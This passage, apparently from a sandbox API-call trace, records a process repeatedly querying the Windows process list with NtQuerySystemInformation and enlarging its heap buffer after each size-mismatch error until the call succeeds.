Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.090] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0207.090] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.091] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0207.091] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.091] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0207.091] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.091] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0207.091] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.091] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0207.091] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.092] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0207.092] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.092] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0207.092] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.092] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0207.092] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.093] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0207.093] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.093] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0207.093] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.093] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0207.093] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.094] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0207.094] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.094] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0207.094] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.094] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0207.094] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.095] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0207.095] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.095] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0207.095] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.095] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0207.095] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.096] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0207.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.096] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0207.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.096] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0207.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.097] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0207.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.097] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0207.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0207.098] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0207.229] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0207.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0207.230] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0207.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0207.230] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0207.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.230] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0207.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.230] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0207.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.230] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0207.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.231] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0207.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.231] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0207.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.231] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0207.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.232] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0207.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.232] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0207.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.232] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0207.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0207.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0207.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0207.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0207.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.234] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0207.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.234] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0207.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.234] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0207.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.235] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0207.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.235] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0207.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.236] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0207.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.236] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0207.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.236] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0207.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.237] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0207.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.237] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0207.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.238] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1c3f0) returned 0x2560048 [0207.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0207.238] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0207.368] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0207.368] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0207.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0207.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0207.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0207.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0207.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0207.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0207.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0207.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0207.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0207.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0207.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0207.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0207.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0207.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0207.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0207.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0207.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0207.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0207.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.374] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0207.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.374] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0207.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.374] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0207.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.375] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0207.375] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.375] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0207.375] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.375] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0207.375] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.376] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0207.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.376] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0207.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.377] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1c3f0) returned 0x2560048 [0207.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.377] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1d414) returned 0x2560048 [0207.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0207.378] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0207.508] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0207.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0207.508] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0207.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0207.508] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0207.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.508] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0207.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.509] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0207.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.510] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0207.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.510] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0207.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.510] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0207.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.510] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0207.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0207.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0207.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, 